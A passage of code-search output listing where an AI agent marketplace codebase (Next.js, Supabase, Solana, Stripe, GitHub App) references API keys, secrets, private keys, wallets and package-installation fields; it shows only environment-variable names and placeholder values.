'Please provide a valid API key in the Authorization header: Authorization: Bearer YOUR_API_KEY', ./pages/api/add-agent.ts:340: privateKey: private_key, ./pages/api/add-prompt.ts:46: 'Please provide your API key in the Authorization header using Bearer token format: Authorization: Bearer YOUR_API_KEY', ./pages/api/add-prompt.ts:80: 'Please provide a valid API key in the Authorization header: Authorization: Bearer YOUR_API_KEY', ./pages/api/add-prompt.ts:293: privateKey: private_key, ./pages/api/add-tool.ts:45: 'Provide your API key in the Authorization header using Bearer token format: Authorization: Bearer YOUR_API_KEY', ./pages/api/edit-agent.ts:14: SELLER_WALLET_ERROR, ./pages/api/edit-agent.ts:108: error: SELLER_WALLET_ERROR, ./pages/api/edit-prompt.ts:14: SELLER_WALLET_ERROR, ./pages/api/edit-prompt.ts:106: error: SELLER_WALLET_ERROR, ./pages/api/get-agents/index.ts:12: installation: string; ./pages/api/get-agents/log-agents.ts:38: const apiKey = req.headers.authorization?.split(' ')[1] || null; ./pages/api/get-agents/log-agents.ts:45: swarms_api_key: apiKey, ./pages/api/me.ts:42: const [user, apiKey, credit, agents, prompts, tools, bundles] = ./pages/api/me.ts:49: authResult.apiKeyId ./pages/api/me.ts:53: .eq('id', authResult.apiKeyId) ./pages/api/me.ts:64: if (apiKey?.error) throw apiKey.error; ./pages/api/me.ts:75: api_key: apiKey?.data ?? null, ./pages/api/solana/balances.ts:38: const rpcUrl = process.env.HELIUS_RPC_URL; ./pages/api/solana/balances.ts:40: return res.status(500).json({ error: 'HELIUS_RPC_URL is not configured' }); ./pages/api/solana/rpc.ts:3:// Generic Solana JSON-RPC proxy using HELIUS only ./pages/api/solana/rpc.ts:33: const heliusUrl = process.env.HELIUS_RPC_URL; ./pages/api/solana/rpc.ts:35: return res.status(500).json({ error: 'HELIUS_RPC_URL is not configured' }); ./pages/api/solana/send-tx.ts:3:// Broadcast a signed transaction via Helius RPC (from env HELIUS_RPC_URL) ./pages/api/solana/send-tx.ts:15: const heliusUrl = process.env.HELIUS_RPC_URL; ./pages/api/solana/send-tx.ts:17: return res.status(500).json({ error: 'HELIUS_RPC_URL is not configured' }); ./pages/api/v1/publish/bundle.ts:38: 'Provide your API key in the Authorization header using Bearer token format: Authorization: Bearer YOUR_API_KEY', ./pages/api/vault-mode/check-holder.ts:3:const HELIUS_TIMEOUT_MS = 8000; ./pages/api/vault-mode/check-holder.ts:8: timeout: number = HELIUS_TIMEOUT_MS, ./pages/api/vault-mode/check-holder.ts:37: const apiKey = process.env.HELIUS_API_KEY; ./pages/api/vault-mode/check-holder.ts:38: if (!apiKey) { ./pages/api/vault-mode/check-holder.ts:39: return res.status(500).json({ error: 'HELIUS_API_KEY is not configured' }); ./pages/api/vault-mode/check-holder.ts:43: const url = `https://mainnet.helius-rpc.com/?api-key=${apiKey}`; ./public/install.sh:118:step "Verifying installation" ./public/install.sh:134: 2. Export it: ${CYAN}export SWARMS_API_KEY="sk-…"${RESET} ./public/llms.txt:29:- Read endpoints (`GET /api/get-agents`, `GET /api/get-prompts`, `GET /api/get-tools`, `GET /api/mcp-servers`, `GET /api/reviews`, `POST /api/query-agents`, `POST /api/query-prompts`) need no key. Publishing, account, portfolio, and inference endpoints need `Authorization: Bearer `; keys are created at https://swarms.world/platform/api-keys and require an account. ./public/llms.txt:83:All endpoints are JSON over HTTPS at `https://swarms.world`. Authenticate with an API key from [API Keys](https://swarms.world/platform/api-keys), sent as `Authorization: Bearer `. Read endpoints are public (a key is optional); publishing, account, and inference endpoints require one. Pagination is `page`/`limit` (limit caps at 100 unless noted). ./public/llms.txt:122:- `POST /api/product/claimfees` — claim the creator fees on a token you own: `{ca, privateKey}` with the key, where `privateKey` is the token's fee wallet → `signature`, `amountClaimedSol` ./public/mcp-skill.md:27:| Auth | `Authorization: Bearer ` on `tools/call`; `initialize`, `ping` and `tools/list` need no key | ./public/mcp-skill.md:65: --header "Authorization: Bearer $SWARMS_API_KEY" ./public/mcp-skill.md:110:HEADERS = {"Authorization": f"Bearer {os.environ['SWARMS_API_KEY']}"} ./public/mcp-skill.md:139: requestInit: { headers: { Authorization: `Bearer ${process.env.SWARMS_API_KEY}` } }, ./public/mcp-skill.md:154: -H "Authorization: Bearer $SWARMS_API_KEY" -H "Content-Type: application/json" \ ./public/mcp-skill.md:159: -H "Authorization: Bearer $SWARMS_API_KEY" -H "Content-Type: application/json" \ ./public/mcp-skill.md:164: -H "Authorization: Bearer $SWARMS_API_KEY" -H "Content-Type: application/json" \ ./public/mcp-skill.md:411:Auth Authorization: Bearer ./public/skill.md:32:**Authentication:** Send API key in the header: `Authorization: Bearer YOUR_API_KEY`. ./public/skill.md:64:| requirements | array | No | `[{ "package": string, "installation": string }]` | ./public/skill.md:96: -H "Authorization: Bearer YOUR_API_KEY" \ ./public/skill.md:103: "requirements": [{"package": "pandas", "installation": "pip install pandas"}], ./public/skill.md:120: -H "Authorization: Bearer YOUR_API_KEY" \ ./public/skill.md:168: -H "Authorization: Bearer YOUR_API_KEY" \ ./public/skill.md:229: -H "Authorization: Bearer YOUR_API_KEY" \ ./public/skill.md:287: -H "Authorization: Bearer YOUR_API_KEY" \ ./server/routers/api-key.ts:8:const apiKeyRouter = router({ ./server/routers/api-key.ts:12: const apiKeys = await ctx.supabase ./server/routers/api-key.ts:19: return apiKeys.data?.map((row) => ({ ./server/routers/api-key.ts:64: const apiKeyPreview = `${key.slice(0, 5)}.....${key.slice(-5)}`; ./server/routers/api-key.ts:72: apiKeyName: name, ./server/routers/api-key.ts:73: apiKeyPreview, ./server/routers/api-key.ts:97: const apiKey = await ctx.supabase ./server/routers/api-key.ts:103: if (apiKey.error) { ./server/routers/api-key.ts:126:export default apiKeyRouter; ./server/routers/dashboard.ts:1308: const rpcUrl = process.env.HELIUS_RPC_URL; ./server/routers/index.ts:6:import apiKeyRouter from './api-key'; ./server/routers/index.ts:19: apiKey: apiKeyRouter, ./server/routers/marketplace.ts:65: process.env.HELIUS_RPC_URL || process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./server/routers/referral.ts:224: const { error } = await new Resend(process.env.RESEND_API_KEY).batch.send( ./server/routers/stripe-connect.ts:25: STRIPE_PLATFORM_FEE_RATE, ./server/routers/stripe-connect.ts:135: feePercent: STRIPE_PLATFORM_FEE_RATE * 100, ./server/routers/stripe-connect.ts:161: feePercent: STRIPE_PLATFORM_FEE_RATE * 100, ./server/routers/support.ts:147: const apiKey = process.env.RESEND_API_KEY; ./server/routers/support.ts:148: if (!apiKey) { ./server/routers/support.ts:150: '[support email] RESEND_API_KEY not configured — skipping ticket emails', ./server/routers/support.ts:155: const resend = new Resend(apiKey); ./shared/components/bookmarks/bookmarks-panel.tsx:42: Array<{ package: string; installation: string }> | string | undefined; ./shared/components/code-editor/config.ts:22:OPENAI_API_KEY = "" ./shared/components/code-editor/config.ts:27:client = OpenAI(api_key=OPENAI_API_KEY, base_url=openai_api_base) ./shared/components/code-editor/config.ts:73: openaiAPIKey := os.Getenv("OPENAI_API_KEY") ./shared/components/code-editor/config.ts:75: log.Fatal("NEXT_PUBLIC_OPENAI_API_KEY not set in environment") ./shared/components/entity/agent-requirements.tsx:18: installation: string; ./shared/components/entity/agent-requirements.tsx:33: accessorKey: 'installation', ./shared/components/entity/index.tsx:866:API_KEY = os.getenv("SWARMS_API_KEY") ./shared/components/entity/index.tsx:871: "x-api-key": API_KEY, ./shared/components/entity/index.tsx:955:API_KEY = os.getenv("SWARMS_API_KEY") ./shared/components/entity/index.tsx:960: "x-api-key": API_KEY, ./shared/components/entity/parts/mcp-connect-panel.tsx:110: const keyValue = `${prefix}YOUR_API_KEY`; ./shared/components/entity/parts/prompt-code-snippets.ts:33:API_KEY = os.getenv("SWARMS_API_KEY") ./shared/components/entity/parts/prompt-code-snippets.ts:38: "x-api-key": API_KEY, ./shared/components/github/repo-picker.tsx:147: href={state.manageUrl ?? 'https://github.com/settings/installations'} ./shared/components/marketplace/purchase-modal.tsx:78: const rpcUrl = process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./shared/components/marketplace/tip-section.tsx:286: const rpcUrl = process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./shared/components/panel-layout/components/const.tsx:149: link: PLATFORM.API_KEYS, ./shared/components/panel-layout/components/sidebar/sidebar.tsx:47: [PLATFORM.API_KEYS, '/developers', PLATFORM.SELLER, PLATFORM.ACCOUNT], ./shared/components/recent-trades.tsx:299: const httpUrl = process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./shared/components/ui/Footer/Footer.tsx:117: { name: 'API Keys', href: PLATFORM.API_KEYS, icon: }, ./shared/contexts/WalletContext.tsx:64:const SELECTED_WALLET_KEY = 'walletName'; ./shared/contexts/WalletContext.tsx:65:const WALLET_AUTO_CONNECT_OFF_KEY = 'walletAutoConnectOff'; ./shared/contexts/WalletContext.tsx:66:const WEB3_SOLANA_SUB_PREFIX = 'web3:solana:'; ./shared/contexts/WalletContext.tsx:81: if (localStorage.getItem(SELECTED_WALLET_KEY)) { ./shared/contexts/WalletContext.tsx:85: if (localStorage.getItem(WALLET_AUTO_CONNECT_OFF_KEY)) return; ./shared/contexts/WalletContext.tsx:95: if (typeof sub === 'string' && sub.startsWith(WEB3_SOLANA_SUB_PREFIX)) { ./shared/contexts/wallet-runtime.tsx:43:const WALLET_AUTO_CONNECT_OFF_KEY = 'walletAutoConnectOff'; ./shared/contexts/wallet-runtime.tsx:44:const WEB3_SOLANA_SUB_PREFIX = 'web3:solana:'; ./shared/contexts/wallet-runtime.tsx:75: typeof sub === 'string' && sub.startsWith(WEB3_SOLANA_SUB_PREFIX) ./shared/contexts/wallet-runtime.tsx:76: ? sub.slice(WEB3_SOLANA_SUB_PREFIX.length) ./shared/contexts/wallet-runtime.tsx:89: if (localStorage.getItem(WALLET_AUTO_CONNECT_OFF_KEY)) return; ./shared/contexts/wallet-runtime.tsx:110: localStorage.removeItem(WALLET_AUTO_CONNECT_OFF_KEY); ./shared/contexts/wallet-runtime.tsx:199: localStorage.setItem(WALLET_AUTO_CONNECT_OFF_KEY, '1'); ./shared/contexts/wallet-runtime.tsx:244: process.env.NEXT_PUBLIC_HELIUS_RPC_URL || clusterApiUrl(network); ./shared/hooks/edit-modal.ts:33: requirements: { package: string; installation: string }[]; ./shared/hooks/edit-modal.ts:56: requirements?: { package: string; installation: string }[]; ./shared/hooks/edit-modal.ts:84: requirements: [{ package: '', installation: '' }], ./shared/hooks/edit-modal.ts:185: : [{ package: '', installation: '' }]) ./shared/hooks/edit-modal.ts:186: : [{ package: '', installation: '' }], ./shared/hooks/edit-modal.ts:247: { package: '', installation: '' }, ./shared/hooks/edit-modal.ts:369: requirement.installation.trim().length === 0 ./shared/hooks/edit-modal.ts:372: title: `Requirement ${requirement.package.trim().length === 0 ? 'package' : 'installation'} is required`, ./shared/hooks/edit-modal.ts:541: requirements: [{ package: '', installation: '' }], ./shared/services/fraud-prevention.ts:6:/** Publishes an automated quality review (score 0-5 rounded to a 1-5 star rating, min 1) as the MASTER_SWARMS_API_KEY ./shared/services/fraud-prevention.ts:15: const apiKey = process.env.MASTER_SWARMS_API_KEY; ./shared/services/fraud-prevention.ts:16: if (!apiKey) { ./shared/services/fraud-prevention.ts:17: console.warn('publishQualityReview: MASTER_SWARMS_API_KEY is not set — automated review skipped'); ./shared/services/fraud-prevention.ts:31: .eq('key', apiKey) ./shared/services/fraud-prevention.ts:36: console.warn('publishQualityReview: MASTER_SWARMS_API_KEY not found in swarms_cloud_api_keys — automated review skipped'); ./shared/services/fraud-prevention.ts:337: const apiKey = process.env.DEFAULT_API_KEY; ./shared/services/fraud-prevention.ts:338: if (!apiKey) { ./shared/services/fraud-prevention.ts:436: 'x-api-key': apiKey, ./shared/services/jupiter-swap.ts:135: // Serialize and send via server using HELIUS_RPC_URL ./shared/services/x402-importer.ts:96:account = Account.from_key('0xYOUR_PRIVATE_KEY') ./shared/services/x402-importer.ts:163:function buildRequirements(): Array<{ package: string; installation: string }> { ./shared/services/x402-importer.ts:165: { package: 'x402', installation: 'pip install x402' }, ./shared/services/x402-importer.ts:166: { package: 'eth-account', installation: 'pip install eth-account' } ./shared/utils/access-tokens.ts:22: const secret = process.env.JWT_SECRET || process.env.NEXTAUTH_SECRET; ./shared/utils/access-tokens.ts:25: 'JWT_SECRET or NEXTAUTH_SECRET environment variable is required', ./shared/utils/access-tokens.ts:37: const secret = process.env.JWT_SECRET || process.env.NEXTAUTH_SECRET; ./shared/utils/access-tokens.ts:40: 'JWT_SECRET or NEXTAUTH_SECRET environment variable is required', ./shared/utils/api/auth-guard.ts:5: apiKey: string | null; ./shared/utils/api/auth-guard.ts:9: apiKey: string | null; ./shared/utils/api/auth-guard.ts:10: apiKeyRecordId: string | null = null; ./shared/utils/api/auth-guard.ts:13: constructor({ apiKey }: Options) { ./shared/utils/api/auth-guard.ts:14: this.apiKey = apiKey; ./shared/utils/api/auth-guard.ts:20: if (!this.apiKey) { ./shared/utils/api/auth-guard.ts:25: const apiKeyInfo = await supabaseAdmin ./shared/utils/api/auth-guard.ts:28: .eq('key', this.apiKey) ./shared/utils/api/auth-guard.ts:32: if (!apiKeyInfo.data?.id) { ./shared/utils/api/auth-guard.ts:35: this.apiKeyRecordId = apiKeyInfo.data.id; ./shared/utils/api/auth-guard.ts:36: this.userId = apiKeyInfo.data.user_id; ./shared/utils/api/comment-reply-email.ts:96: if (!process.env.RESEND_API_KEY) return; ./shared/utils/api/email.ts:14: client ??= new Resend(process.env.RESEND_API_KEY); ./shared/utils/api/hybrid-auth-guard.ts:12: apiKeyId?: string; ./shared/utils/api/hybrid-auth-guard.ts:19: apiKeyId?: string; ./shared/utils/api/hybrid-auth-guard.ts:28: private apiKey: string | null = null; ./shared/utils/api/hybrid-auth-guard.ts:30: private apiKeyRecordId: string | null = null; ./shared/utils/api/hybrid-auth-guard.ts:36: this.apiKey = authHeader.split(' ')[1]; ./shared/utils/api/hybrid-auth-guard.ts:41: if (!this.apiKey) { ./shared/utils/api/hybrid-auth-guard.ts:53: const { data: apiKeyInfo, error } = await supabaseAdmin ./shared/utils/api/hybrid-auth-guard.ts:56: .eq('key', this.apiKey) ./shared/utils/api/hybrid-auth-guard.ts:60: if (error || !apiKeyInfo?.id) { ./shared/utils/api/hybrid-auth-guard.ts:70: this.apiKeyRecordId = apiKeyInfo.id; ./shared/utils/api/hybrid-auth-guard.ts:71: this.userId = apiKeyInfo.user_id; ./shared/utils/api/hybrid-auth-guard.ts:90: apiKeyId: this.apiKeyRecordId, ./shared/utils/api/hybrid-auth-guard.ts:148: if (this.apiKey) { ./shared/utils/api/hybrid-auth-guard.ts:149: const apiKeyResult = await this.authenticateWithApiKey(); ./shared/utils/api/hybrid-auth-guard.ts:150: if (apiKeyResult.isAuthenticated) { ./shared/utils/api/hybrid-auth-guard.ts:151: result = apiKeyResult; ./shared/utils/api/hybrid-auth-guard.ts:200: ...(this.apiKeyRecordId && { apiKeyId: this.apiKeyRecordId }), ./shared/utils/api/internal-email-auth.ts:15: * The secret is `INTERNAL_EMAIL_SECRET` when set. Otherwise it is derived from ./shared/utils/api/internal-email-auth.ts:16: * `SUPABASE_SERVICE_ROLE_KEY` — which is server-only and always present — so ./shared/utils/api/internal-email-auth.ts:27: const explicit = process.env.INTERNAL_EMAIL_SECRET?.trim(); ./shared/utils/api/internal-email-auth.ts:30: const serviceKey = process.env.SUPABASE_SERVICE_ROLE_KEY?.trim(); ./shared/utils/api/jupiter-fees.ts:125: ? process.env.JUPITER_API_KEY_TWO_PERCENT_FEE || process.env.JUPITER_API_KEY ./shared/utils/api/jupiter-fees.ts:126: : process.env.JUPITER_API_KEY; ./shared/utils/api/launch-ticket.ts:7: const serviceKey = process.env.SUPABASE_SERVICE_ROLE_KEY?.trim(); ./shared/utils/api/marketplace-responses.ts:46: .object({ package: z.string(), installation: z.string() }) ./shared/utils/api/marketplace-responses.ts:914: .describe('jsonb; usually an array of { package, installation }'), ./shared/utils/api/marketplace-responses.ts:1727: .describe('`Bearer `; the scheme is case-insensitive'), ./shared/utils/api/marketplace-responses.ts:2401: 'Missing or malformed ca or privateKey, or no unclaimed fees on the token', ./shared/utils/api/marketplace-responses.ts:2403: '403': 'privateKey is not the token’s fee wallet', ./shared/utils/api/marketplace-schemas.ts:5: SELLER_WALLET_ERROR, ./shared/utils/api/marketplace-schemas.ts:71: installation: z.string(), ./shared/utils/api/marketplace-schemas.ts:120: { message: SELLER_WALLET_ERROR, path: ['seller_wallet_address'] }, ./shared/utils/api/marketplace-schemas.ts:237: { message: SELLER_WALLET_ERROR, path: ['seller_wallet_address'] }, ./shared/utils/api/marketplace-schemas.ts:317: installation: z.string(), ./shared/utils/api/marketplace-schemas.ts:457: .array(z.object({ package: z.string(), installation: z.string() })) ./shared/utils/api/marketplace-schemas.ts:570:export const SOLANA_ADDRESS_REGEX = /^[1-9A-HJ-NP-Za-km-z]{32,44}$/; ./shared/utils/api/marketplace-schemas.ts:592: .regex(SOLANA_ADDRESS_REGEX, 'Invalid token address') ./shared/utils/api/onboarding-emails.ts:32:// signing in but can't be made for someone else. The key is UNSUBSCRIBE_SECRET ./shared/utils/api/onboarding-emails.ts:33:// (hex) when set, otherwise derived from SUPABASE_SERVICE_ROLE_KEY, which is ./shared/utils/api/onboarding-emails.ts:36:// UNSUBSCRIBE_SECRET must hold that derived key or those links stop working. ./shared/utils/api/onboarding-emails.ts:38: const explicit = process.env.UNSUBSCRIBE_SECRET?.trim(); ./shared/utils/api/onboarding-emails.ts:40: const serviceKey = process.env.SUPABASE_SERVICE_ROLE_KEY?.trim(); ./shared/utils/api/onboarding-emails.ts:150: if (!process.env.RESEND_API_KEY) return; ./shared/utils/api/onboarding-emails.ts:154: const resend = new Resend(process.env.RESEND_API_KEY); ./shared/utils/api/onboarding-emails.ts:223: const resend = new Resend(process.env.RESEND_API_KEY); ./shared/utils/api/tip-email.ts:45: if (!process.env.RESEND_API_KEY) return; ./shared/utils/auth-helpers/client.ts:11:const PHANTOM_WALLET_NAME = 'Phantom'; ./shared/utils/auth-helpers/client.ts:162: localStorage.setItem('walletName', JSON.stringify(PHANTOM_WALLET_NAME)); ./shared/utils/chat/available-chat-models.ts:38: const apiKey = process.env.MASTER_SWARMS_API_KEY; ./shared/utils/chat/available-chat-models.ts:39: if (!apiKey) return []; ./shared/utils/chat/available-chat-models.ts:43: headers: { 'x-api-key': apiKey }, ./shared/utils/constants.tsx:165: API_KEYS: '/platform/api-keys', ./shared/utils/fee-collection-wallet.ts:8: process.env.SWARMS_FEE_COLLECTION_WALLET?.trim() || null; ./shared/utils/fee-collection-wallet.ts:21: process.env.DAO_TREASURY_ADDRESS || ./shared/utils/fee-collection-wallet.ts:22: process.env.NEXT_PUBLIC_DAO_TREASURY_ADDRESS, ./shared/utils/fees/fee-card.ts:27:const POOL_FEE_WALLET_OFFSET = 72; ./shared/utils/fees/fee-card.ts:87: process.env.HELIUS_API_KEY ./shared/utils/fees/fee-card.ts:88: ? `https://mainnet.helius-rpc.com/?api-key=${process.env.HELIUS_API_KEY}` ./shared/utils/fees/fee-card.ts:121: if (buf.length < POOL_FEE_WALLET_OFFSET + 32) return null; ./shared/utils/fees/fee-card.ts:123: buf.subarray(POOL_FEE_WALLET_OFFSET, POOL_FEE_WALLET_OFFSET + 32), ./shared/utils/github/app-auth.ts:9: * installation token is minted per import and expires in an hour. ./shared/utils/github/app-auth.ts:12:export const GITHUB_APP_SLUG = process.env.NEXT_PUBLIC_GITHUB_APP_SLUG ?? ''; ./shared/utils/github/app-auth.ts:16: process.env.GITHUB_APP_ID && ./shared/utils/github/app-auth.ts:17: process.env.GITHUB_APP_PRIVATE_KEY && ./shared/utils/github/app-auth.ts:18: GITHUB_APP_SLUG, ./shared/utils/github/app-auth.ts:26:function privateKey(): string { ./shared/utils/github/app-auth.ts:27: const key = process.env.GITHUB_APP_PRIVATE_KEY ?? ''; ./shared/utils/github/app-auth.ts:39: { iat: now - 60, exp: now + 9 * 60, iss: process.env.GITHUB_APP_ID }, ./shared/utils/github/app-auth.ts:40: privateKey(), ./shared/utils/github/app-auth.ts:50: * Exchanges an installation id for a token scoped to exactly the repositories ./shared/utils/github/app-auth.ts:53:export async function installationToken( ./shared/utils/github/app-auth.ts:54: installationId: number, ./shared/utils/github/app-auth.ts:57: installation_id: installationId, ./shared/utils/github/app-auth.ts:62:export async function installationOctokit( ./shared/utils/github/app-auth.ts:63: installationId: number, ./shared/utils/github/app-auth.ts:65: return new Octokit({ auth: await installationToken(installationId) }); ./shared/utils/github/app-auth.ts:69: * Confirms an installation exists and reports the account that owns it. Used by ./shared/utils/github/app-auth.ts:70: * the callback to reject an installation id a caller made up, and to label the ./shared/utils/github/app-auth.ts:74: installationId: number, ./shared/utils/github/app-auth.ts:78: installation_id: installationId, ./shared/utils/github/installations.ts:5: installation_id: number; ./shared/utils/github/installations.ts:12: * No table, no migration. An installation id is not a credential — it is ./shared/utils/github/installations.ts:17: * app can ask GitHub which installation covers that account. That is the ./shared/utils/github/installations.ts:22:const KEY = 'github_installation'; ./shared/utils/github/installations.ts:31: installation: GitHubInstallation, ./shared/utils/github/installations.ts:38: id: installation.installation_id, ./shared/utils/github/installations.ts:39: login: installation.account_login, ./shared/utils/github/installations.ts:56: * Asks GitHub which installation covers a login. Costs one API call and needs ./shared/utils/github/installations.ts:59:async function installationForLogin( ./shared/utils/github/installations.ts:66: return { installation_id: data.id, account_login: login }; ./shared/utils/github/installations.ts:81: return { installation_id: stored.id, account_login: stored.login }; ./shared/utils/github/installations.ts:92: return login ? installationForLogin(String(login)) : null; ./shared/utils/github-integration.ts:36: requirements: Array<{ package: string; installation: string }>; ./shared/utils/github-integration.ts:41: installation: string; ./shared/utils/github-integration.ts:96: installation: `pip install ${trimmed}` ./shared/utils/github-integration.ts:112: installation: `pip install ${packageName}` ./shared/utils/marketplace/commission.ts:5:export const STRIPE_PLATFORM_FEE_RATE = PLATFORM_COMMISSION_RATE; ./shared/utils/marketplace/commission.ts:9: (amountUsd * STRIPE_PLATFORM_FEE_RATE).toFixed(2), ./shared/utils/marketplace/commission.ts:17: commissionRate: STRIPE_PLATFORM_FEE_RATE, ./shared/utils/marketplace/commission.ts:22: return Math.round(amountCents * STRIPE_PLATFORM_FEE_RATE); ./shared/utils/marketplace/commission.ts:27:export const STRIPE_CARD_FEE_RATE = 0.029; ./shared/utils/marketplace/commission.ts:28:export const STRIPE_CARD_FEE_FIXED_CENTS = 30; ./shared/utils/marketplace/commission.ts:35: amountCents * (PLATFORM_COMMISSION_RATE + STRIPE_CARD_FEE_RATE) + ./shared/utils/marketplace/commission.ts:36: STRIPE_CARD_FEE_FIXED_CENTS, ./shared/utils/marketplace/seller-wallet.ts:34:export const SELLER_WALLET_ERROR = ./shared/utils/marketplace-chat/agent.ts:276: if (!process.env.ANTHROPIC_API_KEY) { ./shared/utils/marketplace-chat/agent.ts:283: const apiKey = await getUserApiKey(userId); ./shared/utils/marketplace-chat/agent.ts:284: if (!apiKey) { ./shared/utils/marketplace-chat/agent.ts:312: getMarketplaceTools(apiKey).catch((error) => { ./shared/utils/marketplace-chat/agent.ts:316: Promise.all(memoryIds.map((id) => resolveMemory(apiKey, id))), ./shared/utils/marketplace-chat/agent.ts:530: const result = await runTool(use, apiKey, state, send); ./shared/utils/marketplace-chat/agent.ts:606: apiKey: string, ./shared/utils/marketplace-chat/agent.ts:656: const result = await resolveMemory(apiKey, id); ./shared/utils/marketplace-chat/agent.ts:683: const result = await resolveMemory(apiKey, input.data.id); ./shared/utils/marketplace-chat/agent.ts:706: const result = await callMarketplaceTool(apiKey, use.name, use.input); ./shared/utils/marketplace-chat/marketplace-mcp.ts:40: apiKey: string, ./shared/utils/marketplace-chat/marketplace-mcp.ts:47: Authorization: `Bearer ${apiKey}`, ./shared/utils/marketplace-chat/marketplace-mcp.ts:65: apiKey: string, ./shared/utils/marketplace-chat/marketplace-mcp.ts:70: const result = await rpc(apiKey, 'tools/list'); ./shared/utils/marketplace-chat/marketplace-mcp.ts:90: apiKey: string, ./shared/utils/marketplace-chat/marketplace-mcp.ts:98: const result = await rpc(apiKey, 'tools/call', { ./shared/utils/marketplace-chat/marketplace-mcp.ts:123: apiKey: string, ./shared/utils/marketplace-chat/marketplace-mcp.ts:126: const { text, isError } = await callMarketplaceTool(apiKey, 'get_search', { ./shared/utils/marketplace-chat/memory.ts:11:const CHAT_API_KEY_NAME = 'Swarms Marketplace Chat'; ./shared/utils/marketplace-chat/memory.ts:44: keys?.find((row) => row.name === CHAT_API_KEY_NAME) ?? keys?.[0]; ./shared/utils/marketplace-chat/memory.ts:50: .insert({ name: CHAT_API_KEY_NAME, key, user_id: userId }); ./shared/utils/marketplace-chat/memory.ts:121: .map((r: { package?: string; installation?: string }) => ./shared/utils/marketplace-chat/memory.ts:122: [r.package, r.installation].filter(Boolean).join(' — '), ./shared/utils/marketplace-chat/memory.ts:134: apiKey: string, ./shared/utils/marketplace-chat/memory.ts:139: const row = await getListingById(apiKey, id); ./shared/utils/marketplace-chat/swarms-run.ts:31: apiKey: string, ./shared/utils/marketplace-chat/swarms-run.ts:39: headers: { 'Content-Type': 'application/json', 'x-api-key': apiKey }, ./shared/utils/meteora.ts:17: DAMM_V2_MIGRATION_FEE_ADDRESS, ./shared/utils/meteora.ts:22: FEE_DENOMINATOR, ./shared/utils/meteora.ts:26: PROTOCOL_FEE_PERCENT, ./shared/utils/meteora.ts:62:const STANDARD_FEE_BPS = 100; ./shared/utils/meteora.ts:63:const FRENZY_FEE_BPS = 200; ./shared/utils/meteora.ts:65:const CREATOR_TRADING_FEE_PERCENTAGE = 50; ./shared/utils/meteora.ts:107: process.env.HELIUS_RPC_URL || ./shared/utils/meteora.ts:109: process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./shared/utils/meteora.ts:130: const raw = process.env.FEE_COLLECTION_WALLET; ./shared/utils/meteora.ts:131: if (!raw) throw new Error('FEE_COLLECTION_WALLET is not set'); ./shared/utils/meteora.ts:255: const feeBps = params.frenzyMode ? FRENZY_FEE_BPS : STANDARD_FEE_BPS; ./shared/utils/meteora.ts:287: creatorTradingFeePercentage: CREATOR_TRADING_FEE_PERCENTAGE, ./shared/utils/meteora.ts:303: 100 - CREATOR_TRADING_FEE_PERCENTAGE, ./shared/utils/meteora.ts:305: creatorPermanentLockedLiquidityPercentage: CREATOR_TRADING_FEE_PERCENTAGE, ./shared/utils/meteora.ts:494: privateKey: string; // JSON array, base64, or base58 string format ./shared/utils/meteora.ts:512: const wallet = parsePrivateKey(params.privateKey); ./shared/utils/meteora.ts:708: DAMM_V2_MIGRATION_FEE_ADDRESS[resolved.configState.migrationFeeOption]; ./shared/utils/meteora.ts:924:// FEE_DENOMINATOR. ./shared/utils/meteora.ts:930: .mul(new BN(FEE_DENOMINATOR)) ./shared/utils/meteora.ts:1108: const traded = volumeFromFee(fee, PROTOCOL_FEE_PERCENT, rate); ./shared/utils/meteora.ts:1112: const dammConfig = DAMM_V2_MIGRATION_FEE_ADDRESS[config.migrationFeeOption]; ./shared/utils/notifications/feed.ts:229: apiKeys, ./shared/utils/notifications/feed.ts:323: if (sales.error || purchases.error || apiKeys.error || tips.error) { ./shared/utils/notifications/feed.ts:324: throw sales.error ?? purchases.error ?? apiKeys.error ?? tips.error; ./shared/utils/notifications/feed.ts:465: for (const row of apiKeys.data ?? []) { ./shared/utils/openapi/spec.ts:509: 'Signs Jupiter’s claim transaction with `privateKey` in memory and ' + ./shared/utils/openapi/spec.ts:511: '`privateKey` must be that token’s fee wallet. The key is never ' + ./shared/utils/openapi/spec.ts:519: required: ['ca', 'privateKey'], ./shared/utils/openapi/spec.ts:522: privateKey: { ./shared/utils/openapi/spec.ts:537: description: 'Missing or invalid ca or privateKey, or no fees', ./shared/utils/openapi/spec.ts:540: '403': { description: 'privateKey is not the token’s fee wallet' }, ./shared/utils/openapi/spec.ts:636: '`Authorization: Bearer `. Read endpoints are public ' + ./shared/utils/screener-launch-broadcast.ts:21: const key = process.env.SUPABASE_SERVICE_ROLE_KEY; ./shared/utils/solana/quote-mint.ts:35: process.env.HELIUS_RPC_URL || ./shared/utils/solana/quote-mint.ts:37: process.env.NEXT_PUBLIC_HELIUS_RPC_URL || ./shared/utils/solana/swap-parser.ts:150: process.env.HELIUS_RPC_URL || process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./shared/utils/stripe/config.ts:3:const stripeSecretKey = process.env.STRIPE_SECRET_KEY ?? ''; ./shared/utils/stripe/server.ts:137: const stripeKey = process.env.STRIPE_SECRET_KEY ?? ''; ./shared/utils/stripe/server.ts:154: `Please update your STRIPE_SECRET_KEY in .env to use ${requiredMode} mode keys and restart the server.` ./shared/utils/supabase/admin.ts:16:// Note: supabaseAdmin uses the SERVICE_ROLE_KEY which you must only use in a secure server-side context ./shared/utils/supabase/admin.ts:21: process.env.SUPABASE_SERVICE_ROLE_KEY || '', ./shared/utils/tokenization.ts:357:export function parsePrivateKey(privateKey: string): Keypair { ./shared/utils/tokenization.ts:360: const array = JSON.parse(privateKey); ./shared/utils/tokenization.ts:368: const buffer = Buffer.from(privateKey, 'base64'); ./shared/utils/tokenization.ts:376: const bytes = bs58.decode(privateKey); ./supabase/config.toml:139:secret = "env(SUPABASE_AUTH_EXTERNAL_GITHUB_SECRET)" ./supabase/config.toml:170:# Configures AWS_SECRET_ACCESS_KEY for S3 bucket ./supabase/config.toml:171:s3_secret_key = "env(S3_SECRET_KEY)" ./tests/crypto-payment/crypto-payment.test.mjs:14:const SWARMS_WALLET = 'SwarmsFeeWallet1111111111111111111111111111'; ./tests/crypto-payment/crypto-payment.test.mjs:15:const OLD_WALLET = 'SwarmsOldTreasury11111111111111111111111111'; 